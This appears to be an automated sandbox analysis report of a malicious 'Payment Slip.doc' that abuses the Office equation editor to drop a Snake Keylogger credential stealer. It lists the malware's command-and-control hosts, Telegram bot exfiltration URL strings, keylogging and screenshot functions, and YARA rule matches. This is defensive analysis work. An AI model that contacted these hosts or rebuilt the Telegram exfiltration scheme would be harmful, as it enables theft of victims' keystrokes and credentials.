Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024C5000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023E8000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: vvndewepeter91026.exe, 00000008.00000002.915012571.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.915012571.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000240C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: vvndewepeter91026.exe, 00000005.00000002.405973235.0000000002547000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20a
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.334
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=net
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=wmf
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.00000000034B2000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000347A000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003566000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003458000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000352E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/indextest

Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49177 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, COVID19.cs	.Net Code: TakeScreenshot
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, COVID19.cs	.Net Code: TakeScreenshot

Contains functionality to log keystrokes (.Net Source)

Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, COVID19.cs	.Net Code: VKCodeToUnicode
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, COVID19.cs	.Net Code: VKCodeToUnicode

System Summary

Initial sample is an obfuscated RTF file

Source: initial sample

Static file information: Filename: Payment Slip.doc

Malicious sample detected (through community Yara rule)

Source: Payment Slip.doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Process Stats: CPU usage > 49%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_0026604B	5_2_0026604B
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_0026B160	5_2_0026B160
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_0026A408	5_2_0026A408
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_0026B588	5_2_0026B588
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_0026B598	5_2_0026B598
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_0026A840	5_2_0026A840
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_0026AC78	5_2_0026AC78
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_0023903A	8_2_0023903A
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_002340F8	8_2_002340F8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_0023390C	8_2_0023390C
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00238958	8_2_00238958
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_002331B1	8_2_002331B1
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00237200	8_2_00237200
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00238278	8_2_00238278
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00234A9F	8_2_00234A9F
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00239BC2	8_2_00239BC2
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00233482	8_2_00233482
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00234D6F	8_2_00234D6F
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00233E28	8_2_00233E28
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00235E70	8_2_00235E70
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_0023DEC8	8_2_0023DEC8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00236728	8_2_00236728
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_002347D0	8_2_002347D0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_0023DEB9	8_2_0023DEB9
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_0023D730	8_2_0023D730
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_0023D740	8_2_0023D740
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F0040	8_2_005F0040
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F6440	8_2_005F6440
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F1C60	8_2_005F1C60
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F8060	8_2_005F8060
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F4810	8_2_005F4810
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F2C00	8_2_005F2C00
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F9000	8_2_005F9000
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F4820	8_2_005F4820
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F0CC0	8_2_005F0CC0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F70C0	8_2_005F70C0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F28E0	8_2_005F28E0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F8CE0	8_2_005F8CE0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F3880	8_2_005F3880
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F0CB0	8_2_005F0CB0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F54A0	8_2_005F54A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F1940	8_2_005F1940
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F7D40	8_2_005F7D40
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F3560	8_2_005F3560
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_005F4500	8_2_005F4500
